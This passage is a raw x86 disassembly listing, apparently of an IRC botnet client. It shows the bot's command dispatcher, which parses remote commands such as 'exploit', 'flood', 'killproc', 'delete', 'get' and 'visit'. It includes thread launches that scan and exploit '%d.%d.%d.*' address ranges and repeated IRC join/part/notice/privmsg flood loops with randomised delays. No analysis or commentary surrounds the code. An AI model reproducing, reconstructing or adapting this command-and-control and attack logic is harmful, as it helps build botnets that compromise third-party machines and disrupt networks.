		movzx	eax, [ebp+var_2E2]
		push	eax
		movzx	eax, [ebp+var_2E3]
		push	eax
		movzx	eax, [ebp+var_2E4]
		push	eax
		lea	eax, [ebp+var_E24]
		push	offset aD_D_D_	; "%d.%d.%d.*"
		push	eax
		call	sub_41BEF6
		lea	eax, [ebp+var_E24]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset unk_42DD08
		push	eax
		call	sub_41BEF6
		add	esp, 20h
		jmp	loc_40342B
; ---------------------------------------------------------------------------


loc_404A48:				; CODE XREF: sub_401AA1+2F10j
		push	edi
		call	dword_4CE348	; inet_addr
		cmp	eax, 0FFFFFFFFh
		push	edi
		jnz	short loc_404A6E
		push	offset unk_42DCC8


loc_404A5A:				; CODE XREF: sub_401AA1+2F28j
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_41BEF6
		add	esp, 0Ch
		jmp	loc_40342B
; ---------------------------------------------------------------------------


loc_404A6E:				; CODE XREF: sub_401AA1+2FB2j
		push	offset dword_4D1470
		call	sub_41C520
		push	edi
		lea	eax, [ebp+var_2C0]
		push	offset unk_42DC9C
		push	eax
		mov	dword_4D1A8C, 1
		call	sub_41BEF6
		add	esp, 14h
		jmp	loc_40342B
; ---------------------------------------------------------------------------


loc_404A9C:				; CODE XREF: sub_401AA1+1956j
		push	[ebp+arg_8]
		push	offset aExploit	; "exploit"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404B98
		mov	eax, [ebp+var_4]
		mov	esi, 80h
		mov	[ebp+var_13E8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_13E4],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_13F8],	eax
		push	offset asc_42AAA4 ; "#l"
		lea	eax, [ebp+var_1478]
		push	esi
		push	eax
		mov	[ebp+var_13F0],	1
		call	sub_41BFF0
		push	offset asc_42AAA4 ; "#l"
		lea	eax, [ebp+var_14F8]
		push	esi
		push	eax
		call	sub_41BFF0
		push	edi
		lea	eax, [ebp+var_1508]
		push	10h
		push	eax
		call	sub_41BFF0
		lea	eax, [ebp+var_1508]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset dword_42DC38
		push	eax
		call	sub_41BEF6
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	8
		push	eax
		call	sub_40B254
		add	esp, 3Ch
		mov	[ebp+var_13EC],	eax
		lea	eax, [ebp+var_2FC]
		push	eax
		lea	eax, [ebp+var_1508]
		push	ebx
		push	eax
		push	offset sub_40B9E3
		push	ebx
		push	ebx
		call	dword_428084	; CreateThread
		mov	ecx, [ebp+var_13EC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_44125C[ecx], eax
		jnz	short loc_404B8B
		call	dword_428094	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42DBB8
		jmp	loc_404968
; ---------------------------------------------------------------------------


loc_404B83:				; CODE XREF: sub_401AA1+30F0j
		push	32h
		call	dword_428080	; Sleep


loc_404B8B:				; CODE XREF: sub_401AA1+30CFj
		cmp	[ebp+var_13E0],	ebx
		jz	short loc_404B83
		jmp	loc_406DEB
; ---------------------------------------------------------------------------


loc_404B98:				; CODE XREF: sub_401AA1+300Cj
		push	[ebp+arg_8]
		push	offset aReconnect_in ; "reconnect.in"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094DE
		push	[ebp+arg_8]
		push	offset aRin	; "rin"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094DE
		push	[ebp+arg_8]
		push	offset aReconnect_in_m ; "reconnect.in.ms"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40949C
		push	[ebp+arg_8]
		push	offset aRinms	; "rinms"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40949C
		push	[ebp+arg_8]
		push	offset aFlood	; "flood"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405773
		call	dword_4280B0	; GetTickCount
		push	eax
		call	sub_41BF48
		push	edi
		push	offset aLoad	; "load"
		call	sub_41C6E0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_404C9B
		cmp	[ebp+esi+var_80], ebx
		jz	short loc_404C9B
		push	[ebp+esi+var_80]
		call	sub_41BDE9
		pop	ecx
		push	eax
		push	[ebp+esi+var_84]
		call	sub_41BDE9
		pop	ecx
		push	eax
		push	[ebp+esi+var_88]
		call	sub_417F61
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_2C0]
		push	[ebp+esi+var_88]
		push	[ebp+esi+var_80]
		push	offset unk_42DB50
		push	eax
		call	sub_41BEF6
		add	esp, 20h
		cmp	[ebp+var_8], ebx
		jnz	short loc_404C9B
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409743
		add	esp, 14h


loc_404C9B:				; CODE XREF: sub_401AA1+3186j
					; sub_401AA1+318Cj ...
		push	edi
		push	offset dword_42DB4C
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404D02
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404D02
		push	offset asc_42F5E8 ; " "
		push	offset dword_42DB48
		push	eax
		call	sub_418584
		push	eax
		lea	eax, [ebp+var_47F0]
		push	eax
		call	sub_41C520
		lea	eax, [ebp+var_47F0]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	[ebp+esi+var_88]
		push	offset dword_42DB38
		push	eax
		call	sub_41BEF6
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_417C86
		add	esp, 28h


loc_404D02:				; CODE XREF: sub_401AA1+3209j
					; sub_401AA1+3214j
		push	edi
		push	offset dword_42DB34
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404D69
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404D69
		push	offset asc_42F5E8 ; " "
		push	offset dword_42DB48
		push	eax
		call	sub_418584
		push	eax
		lea	eax, [ebp+var_4AF4]
		push	eax
		call	sub_41C520
		lea	eax, [ebp+var_4AF4]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	[ebp+esi+var_88]
		push	offset dword_42DB20
		push	eax
		call	sub_41BEF6
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_417C86
		add	esp, 28h


loc_404D69:				; CODE XREF: sub_401AA1+3270j
					; sub_401AA1+327Bj
		push	edi
		push	offset aNt	; "nt"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404DD0
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404DD0
		push	offset asc_42F5E8 ; " "
		push	offset dword_42DB48
		push	eax
		call	sub_418584
		push	eax
		lea	eax, [ebp+var_48F0]
		push	eax
		call	sub_41C520
		lea	eax, [ebp+var_48F0]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_1 ; "notice %s	:%s"
		push	eax
		call	sub_41BEF6
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_417C86
		add	esp, 28h


loc_404DD0:				; CODE XREF: sub_401AA1+32D7j
					; sub_401AA1+32E2j
		push	edi
		push	offset aMode	; "mode"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404E37
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404E37
		push	offset asc_42F5E8 ; " "
		push	offset dword_42DB48
		push	eax
		call	sub_418584
		push	eax
		lea	eax, [ebp+var_4FF8]
		push	eax
		call	sub_41C520
		lea	eax, [ebp+var_4FF8]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	[ebp+esi+var_88]
		push	offset aModeSS	; "mode	%s %s"
		push	eax
		call	sub_41BEF6
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_417C86
		add	esp, 28h


loc_404E37:				; CODE XREF: sub_401AA1+333Ej
					; sub_401AA1+3349j
		push	edi
		push	offset aJoin	; "join"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404E74
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404E74
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41BEF6
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_417C86
		add	esp, 10h


loc_404E74:				; CODE XREF: sub_401AA1+33A5j
					; sub_401AA1+33B0j
		push	edi
		push	offset aPart_0	; "part"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404EB1
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404EB1
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset aPartS	; "part	%s"
		push	eax
		call	sub_41BEF6
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_417C86
		add	esp, 10h


loc_404EB1:				; CODE XREF: sub_401AA1+33E2j
					; sub_401AA1+33EDj
		push	edi
		push	offset aPartflood ; "partflood"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404EF3
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404EF3
		push	offset byte_428638
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41BEF6
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_417C86
		add	esp, 14h


loc_404EF3:				; CODE XREF: sub_401AA1+341Fj
					; sub_401AA1+342Aj
		push	edi
		push	offset aPnick	; "pnick"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404F66
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_404F66
		call	dword_4280B0	; GetTickCount
		push	eax
		call	sub_41BF48
		call	sub_41BF52
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+var_17B8]
		push	edx
		push	[ebp+esi+var_88]
		push	offset dword_42DAB0
		push	eax
		call	sub_41BEF6
		lea	eax, [ebp+var_17B8]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset dword_42DAA8
		push	eax
		call	sub_41BEF6
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_417C86
		add	esp, 24h


loc_404F66:				; CODE XREF: sub_401AA1+3461j
					; sub_401AA1+346Aj
		push	edi
		push	offset dword_42DA9C
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4050B7
		cmp	[ebp+esi+var_88], ebx
		jz	loc_4050B7
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C0]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41BEF6
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_417C86
		push	offset byte_428638
		lea	eax, [ebp+var_2C0]
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41BEF6
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_417C86
		add	esp, 24h
		call	sub_41BF52
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	dword_428080	; Sleep
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C0]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41BEF6
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_417C86
		add	esp, 10h
		call	sub_41BF52
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	dword_428080	; Sleep
		push	offset byte_428638
		lea	eax, [ebp+var_2C0]
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41BEF6
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_417C86
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C0]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41BEF6
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_417C86
		add	esp, 24h
		call	sub_41BF52
		cdq
		mov	ecx, 0C8h
		idiv	ecx
		push	edx
		call	dword_428080	; Sleep
		push	offset byte_428638
		lea	eax, [ebp+var_2C0]
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41BEF6
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_417C86
		add	esp, 14h


loc_4050B7:				; CODE XREF: sub_401AA1+34D4j
					; sub_401AA1+34E1j
		push	edi
		push	offset dword_42DA98
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40514F
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_40514F
		call	dword_4280B0	; GetTickCount
		push	eax
		call	sub_41BF48
		pop	ecx
		call	sub_41BF52
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41BF52
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41BF52
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41BF52
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41BF52
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+var_2C0]
		push	edx
		push	[ebp+esi+var_88]
		push	offset dword_42DA70
		push	eax
		call	sub_41BEF6
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_417C86
		add	esp, 24h


loc_40514F:				; CODE XREF: sub_401AA1+3625j
					; sub_401AA1+3632j
		push	edi
		push	offset aNick_0	; "nick"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405252
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	loc_405252
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41BEF6
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_417C86
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417FDF
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset dword_42DAA8
		push	eax
		call	sub_41BEF6
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_417C86
		add	esp, 24h
		call	sub_41BF52
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	dword_428080	; Sleep
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417FDF
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset dword_42DAA8
		push	eax
		call	sub_41BEF6
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_417C86
		add	esp, 14h
		call	sub_41BF52
		cdq
		mov	ecx, 1F4h
		idiv	ecx
		push	edx
		call	dword_428080	; Sleep
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417FDF
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset dword_42DAA8
		push	eax
		call	sub_41BEF6
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_417C86
		add	esp, 14h


loc_405252:				; CODE XREF: sub_401AA1+36BDj
					; sub_401AA1+36CCj
		push	edi
		push	offset aChgnick	; "chgnick"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405296
		lea	eax, [ebp+var_180C]
		push	eax
		call	sub_417FDF
		lea	eax, [ebp+var_180C]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset dword_42DAA8
		push	eax
		call	sub_41BEF6
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_417C86
		add	esp, 14h


loc_405296:				; CODE XREF: sub_401AA1+37C0j
		push	edi
		push	offset aMsg	; "msg"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405388
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405388
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C0]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41BEF6
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_417C86
		push	offset word_42863A
		lea	eax, [ebp+var_2C0]
		push	[ebp+esi+var_88]
		push	offset dword_42DB38
		push	eax
		call	sub_41BEF6
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_417C86
		add	esp, 24h
		call	sub_41BF52
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	dword_428080	; Sleep
		push	offset word_42863A
		lea	eax, [ebp+var_2C0]
		push	[ebp+esi+var_88]
		push	offset dword_42DB38
		push	eax
		call	sub_41BEF6
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_417C86
		add	esp, 14h
		call	sub_41BF52
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	dword_428080	; Sleep
		push	offset word_42863A
		lea	eax, [ebp+var_2C0]
		push	[ebp+esi+var_88]
		push	offset dword_42DB38
		push	eax
		call	sub_41BEF6
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_417C86
		add	esp, 14h


loc_405388:				; CODE XREF: sub_401AA1+3804j
					; sub_401AA1+3811j
		push	edi
		push	offset aNotice_0 ; "notice"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40547A
		cmp	[ebp+esi+var_88], ebx
		jz	loc_40547A
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C0]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41BEF6
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_417C86
		push	offset word_42863A
		lea	eax, [ebp+var_2C0]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41BEF6
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_417C86
		add	esp, 24h
		call	sub_41BF52
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	dword_428080	; Sleep
		push	offset word_42863A
		lea	eax, [ebp+var_2C0]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41BEF6
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_417C86
		add	esp, 14h
		call	sub_41BF52
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	dword_428080	; Sleep
		push	offset word_42863A
		lea	eax, [ebp+var_2C0]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41BEF6
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_417C86
		add	esp, 14h


loc_40547A:				; CODE XREF: sub_401AA1+38F6j
					; sub_401AA1+3903j
		push	edi
		push	offset aCtcp	; "ctcp"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405598
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405598
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C0]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41BEF6
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_417C86
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C0]
		push	offset dword_42DA28
		push	eax
		call	sub_41BEF6
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_417C86
		add	esp, 20h
		call	sub_41BF52
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	dword_428080	; Sleep
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C0]
		push	offset dword_42DA10
		push	eax
		call	sub_41BEF6
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_417C86
		add	esp, 10h
		call	sub_41BF52
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	dword_428080	; Sleep
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C0]
		push	offset dword_42D9F8
		push	eax
		call	sub_41BEF6
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_417C86
		add	esp, 10h
		call	sub_41BF52
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	dword_428080	; Sleep
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C0]
		push	offset dword_42D9F8
		push	eax
		call	sub_41BEF6
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_417C86
		add	esp, 10h


loc_405598:				; CODE XREF: sub_401AA1+39E8j
					; sub_401AA1+39F5j
		push	edi
		push	offset aMix	; "mix"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4056C5
		cmp	[ebp+esi+var_88], ebx
		jz	loc_4056C5
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C0]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41BEF6
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_417C86
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C0]
		push	offset dword_42DA28
		push	eax
		call	sub_41BEF6
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_417C86
		add	esp, 20h
		call	sub_41BF52
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	dword_428080	; Sleep
		push	offset word_42863A
		lea	eax, [ebp+var_2C0]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41BEF6
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_417C86
		add	esp, 14h
		call	sub_41BF52
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	dword_428080	; Sleep
		push	offset word_42863A
		lea	eax, [ebp+var_2C0]
		push	[ebp+esi+var_88]
		push	offset aPrivmsgSS_0 ; "PRIVMSG %s :%s"
		push	eax
		call	sub_41BEF6
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_417C86
		add	esp, 14h
		call	sub_41BF52
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	dword_428080	; Sleep
		push	offset word_42863A
		lea	eax, [ebp+var_2C0]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41BEF6
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_417C86
		add	esp, 14h


loc_4056C5:				; CODE XREF: sub_401AA1+3B06j
					; sub_401AA1+3B13j
		push	edi
		push	offset aRegister ; "register"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405709
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_405709
		push	eax
		lea	eax, [ebp+var_2C0]
		push	[ebp+esi+var_88]
		push	offset aNickservRegist ; "nickserv register %s %s"
		push	eax
		call	sub_41BEF6
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_417C86
		add	esp, 14h


loc_405709:				; CODE XREF: sub_401AA1+3C33j
					; sub_401AA1+3C3Ej
		push	edi
		push	offset aOff	; "off"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4061AA
		mov	[ebp+arg_18], offset dword_4D735C


loc_405725:				; CODE XREF: sub_401AA1+3CA8j
		mov	eax, [ebp+arg_18]
		cmp	dword ptr [eax-4], 1
		jnz	short loc_40573B
		mov	eax, [eax]
		cmp	eax, ebx
		jbe	short loc_40573B
		push	eax
		call	dword_4CE3A0	; closesocket


loc_40573B:				; CODE XREF: sub_401AA1+3C8Bj
					; sub_401AA1+3C91j
		add	[ebp+arg_18], 210h
		cmp	[ebp+arg_18], offset dword_4DDA7C
		jl	short loc_405725
		cmp	[ebp+var_8], ebx
		jnz	loc_4061AA
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42D998
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409743
		add	esp, 14h
		jmp	loc_4061AA
; ---------------------------------------------------------------------------


loc_405773:				; CODE XREF: sub_401AA1+3164j
		push	[ebp+arg_8]
		push	offset aNick_0	; "nick"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409483
		push	[ebp+arg_8]
		push	offset aN	; "n"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409483
		push	[ebp+arg_8]
		push	offset aJoin	; "join"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409463
		push	[ebp+arg_8]
		push	offset aJ	; "j"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409463
		push	[ebp+arg_8]
		push	offset aPart_0	; "part"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40944A
		push	[ebp+arg_8]
		push	offset aPt	; "pt"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40944A
		push	[ebp+arg_8]
		push	offset aRaw	; "raw"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409413
		push	[ebp+arg_8]
		push	offset aR	; "r"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409413
		push	[ebp+arg_8]
		push	offset aKillthread ; "killthread"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409363
		push	[ebp+arg_8]
		push	offset aK	; "k"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409363
		push	[ebp+arg_8]
		push	offset aC_quit	; "c_quit"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4092B8
		push	[ebp+arg_8]
		push	offset aC_q	; "c_q"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4092B8
		push	[ebp+arg_8]
		push	offset aC_rndnick ; "c_rndnick"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40926D
		push	[ebp+arg_8]
		push	offset aC_rn	; "c_rn"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40926D
		push	[ebp+arg_8]
		push	offset aPrefix	; "prefix"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409258
		push	[ebp+arg_8]
		push	offset aPr	; "pr"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409258
		push	[ebp+arg_8]
		push	offset aOpen	; "open"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40922E
		push	[ebp+arg_8]
		push	offset aO	; "o"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40922E
		push	[ebp+arg_8]
		push	offset aServer	; "server"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409209
		push	[ebp+arg_8]
		push	offset aSe	; "se"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409209
		push	[ebp+arg_8]
		push	offset aDns	; "dns"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4091A4
		push	[ebp+arg_8]
		push	offset aDn	; "dn"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4091A4
		push	[ebp+arg_8]
		push	offset aKillproc ; "killproc"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409178
		push	[ebp+arg_8]
		push	offset aKp	; "kp"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409178
		push	[ebp+arg_8]
		push	offset aKill	; "kill"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40911D
		push	[ebp+arg_8]
		push	offset aKi	; "ki"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40911D
		push	[ebp+arg_8]
		push	offset aDelete	; "delete"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090E6
		push	[ebp+arg_8]
		push	offset aDel	; "del"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090E6
		push	[ebp+arg_8]
		push	offset aGet	; "get"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409006
		push	[ebp+arg_8]
		push	offset aGt	; "gt"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409006
		push	[ebp+arg_8]
		push	offset aList	; "list"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408FEB
		push	[ebp+arg_8]
		push	offset aLi	; "li"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408FEB
		push	[ebp+arg_8]
		push	offset aVisit	; "visit"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408F0E
		push	[ebp+arg_8]
		push	offset aV	; "v"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408F0E
		push	[ebp+arg_8]
		push	offset aMirccmd	; "mirccmd"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408E9A
		push	[ebp+arg_8]
		push	offset aMirc	; "mirc"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408E9A
		push	[ebp+arg_8]
